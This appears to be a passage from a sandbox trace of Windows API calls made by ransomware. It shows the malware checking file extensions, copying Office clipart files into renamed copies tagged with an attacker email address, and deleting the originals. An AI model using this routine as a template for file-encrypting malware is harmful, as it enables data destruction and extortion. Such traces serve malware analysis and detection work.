	[0153.147] lstrlenW (lpString=".dbf") returned 4
	[0153.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.147] lstrlenW (lpString=".1cd") returned 4
	[0153.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.147] lstrlenW (lpString=".jpg") returned 4
	[0153.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.148] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.148] lstrlenW (lpString="IN00919_.WMF") returned 12
	[0153.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.148] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=6920) returned 1
	[0153.149] CloseHandle (hObject=0x388) returned 1
	[0153.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220
	[0153.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.150] GetLastError () returned 0x0
	[0153.150] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1b08, lpOverlapped=0x0) returned 1
	[0153.152] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0153.153] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.153] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.153] SetEndOfFile (hFile=0x51c) returned 1
	[0153.153] CloseHandle (hObject=0x51c) returned 1
	[0153.154] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.154] SetEndOfFile (hFile=0x388) returned 1
	[0153.156] CloseHandle (hObject=0x388) returned 1
	[0153.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1
	[0153.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.158] lstrlenW (lpString=".doc") returned 4
	[0153.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.158] lstrlenW (lpString=".docx") returned 5
	[0153.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.158] lstrlenW (lpString=".pdf") returned 4
	[0153.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.158] lstrlenW (lpString=".xls") returned 4
	[0153.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.158] lstrlenW (lpString=".xlsx") returned 5
	[0153.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.158] lstrlenW (lpString=".ppt") returned 4
	[0153.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.158] lstrlenW (lpString=".zip") returned 4
	[0153.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.158] lstrlenW (lpString=".rar") returned 4
	[0153.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.158] lstrlenW (lpString=".bz2") returned 4
	[0153.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.158] lstrlenW (lpString=".7z") returned 3
	[0153.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString=".dbf") returned 4
	[0153.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString=".1cd") returned 4
	[0153.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString=".jpg") returned 4
	[0153.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString=".doc") returned 4
	[0153.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString=".docx") returned 5
	[0153.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.159] lstrlenW (lpString=".pdf") returned 4
	[0153.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString=".xls") returned 4
	[0153.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.159] lstrlenW (lpString=".xlsx") returned 5
	[0153.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.159] lstrlenW (lpString=".ppt") returned 4
	[0153.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.159] lstrlenW (lpString=".zip") returned 4
	[0153.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.159] lstrlenW (lpString=".rar") returned 4
	[0153.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.160] lstrlenW (lpString=".bz2") returned 4
	[0153.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.160] lstrlenW (lpString=".7z") returned 3
	[0153.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.160] lstrlenW (lpString=".dbf") returned 4
	[0153.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.160] lstrlenW (lpString=".1cd") returned 4
	[0153.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0153.160] lstrlenW (lpString=".jpg") returned 4
	[0153.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.160] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.160] lstrlenW (lpString="IN00956_.WMF") returned 12
	[0153.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.161] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1256) returned 1
	[0153.161] CloseHandle (hObject=0x388) returned 1
	[0153.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220
	[0153.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.164] GetLastError () returned 0x0
	[0153.164] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4e8, lpOverlapped=0x0) returned 1
	[0153.324] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0153.326] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.326] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.326] SetEndOfFile (hFile=0x51c) returned 1
	[0153.326] CloseHandle (hObject=0x51c) returned 1
	[0153.326] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.326] SetEndOfFile (hFile=0x388) returned 1
	[0153.329] CloseHandle (hObject=0x388) returned 1
	[0153.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1
	[0153.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.331] lstrlenW (lpString=".doc") returned 4
	[0153.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.331] lstrlenW (lpString=".docx") returned 5
	[0153.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.331] lstrlenW (lpString=".pdf") returned 4
	[0153.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.331] lstrlenW (lpString=".xls") returned 4
	[0153.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.331] lstrlenW (lpString=".xlsx") returned 5
	[0153.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.331] lstrlenW (lpString=".ppt") returned 4
	[0153.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.331] lstrlenW (lpString=".zip") returned 4
	[0153.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.331] lstrlenW (lpString=".rar") returned 4
	[0153.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.331] lstrlenW (lpString=".bz2") returned 4
	[0153.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.331] lstrlenW (lpString=".7z") returned 3
	[0153.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.331] lstrlenW (lpString=".dbf") returned 4
	[0153.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.332] lstrlenW (lpString=".1cd") returned 4
	[0153.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.332] lstrlenW (lpString=".jpg") returned 4
	[0153.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.332] lstrlenW (lpString=".doc") returned 4
	[0153.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString=".docx") returned 5
	[0153.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.332] lstrlenW (lpString=".pdf") returned 4
	[0153.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString=".xls") returned 4
	[0153.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.332] lstrlenW (lpString=".xlsx") returned 5
	[0153.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.332] lstrlenW (lpString=".ppt") returned 4
	[0153.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.332] lstrlenW (lpString=".zip") returned 4
	[0153.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.332] lstrlenW (lpString=".rar") returned 4
	[0153.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.333] lstrlenW (lpString=".bz2") returned 4
	[0153.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.333] lstrlenW (lpString=".7z") returned 3
	[0153.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.333] lstrlenW (lpString=".dbf") returned 4
	[0153.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.333] lstrlenW (lpString=".1cd") returned 4
	[0153.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0153.333] lstrlenW (lpString=".jpg") returned 4
	[0153.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.333] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.333] lstrlenW (lpString="J0086432.WMF") returned 12
	[0153.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.334] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=33434) returned 1
	[0153.335] CloseHandle (hObject=0x388) returned 1
	[0153.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220
	[0153.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.336] GetLastError () returned 0x0
	[0153.336] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x829a, lpOverlapped=0x0) returned 1
	[0153.348] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x82a0, lpOverlapped=0x0) returned 1
	[0153.350] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.350] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.350] SetEndOfFile (hFile=0x51c) returned 1
	[0153.350] CloseHandle (hObject=0x51c) returned 1
	[0153.350] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.351] SetEndOfFile (hFile=0x388) returned 1
	[0153.354] CloseHandle (hObject=0x388) returned 1
	[0153.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1
	[0153.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.357] lstrlenW (lpString=".doc") returned 4
	[0153.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.357] lstrlenW (lpString=".docx") returned 5
	[0153.357] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0153.357] lstrlenW (lpString=".pdf") returned 4
	[0153.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.357] lstrlenW (lpString=".xls") returned 4
	[0153.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.357] lstrlenW (lpString=".xlsx") returned 5
	[0153.357] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0153.357] lstrlenW (lpString=".ppt") returned 4
	[0153.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString=".zip") returned 4
	[0153.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.358] lstrlenW (lpString=".rar") returned 4
	[0153.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString=".bz2") returned 4
	[0153.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString=".7z") returned 3
	[0153.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString=".dbf") returned 4
	[0153.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString=".1cd") returned 4
	[0153.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString=".jpg") returned 4
	[0153.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.358] lstrlenW (lpString=".doc") returned 4
	[0153.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.358] lstrlenW (lpString=".docx") returned 5
	[0153.358] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0153.358] lstrlenW (lpString=".pdf") returned 4
	[0153.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString=".xls") returned 4
	[0153.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.359] lstrlenW (lpString=".xlsx") returned 5
	[0153.359] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0153.359] lstrlenW (lpString=".ppt") returned 4
	[0153.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.359] lstrlenW (lpString=".zip") returned 4
	[0153.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.359] lstrlenW (lpString=".rar") returned 4
	[0153.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString=".bz2") returned 4
	[0153.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString=".7z") returned 3
	[0153.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
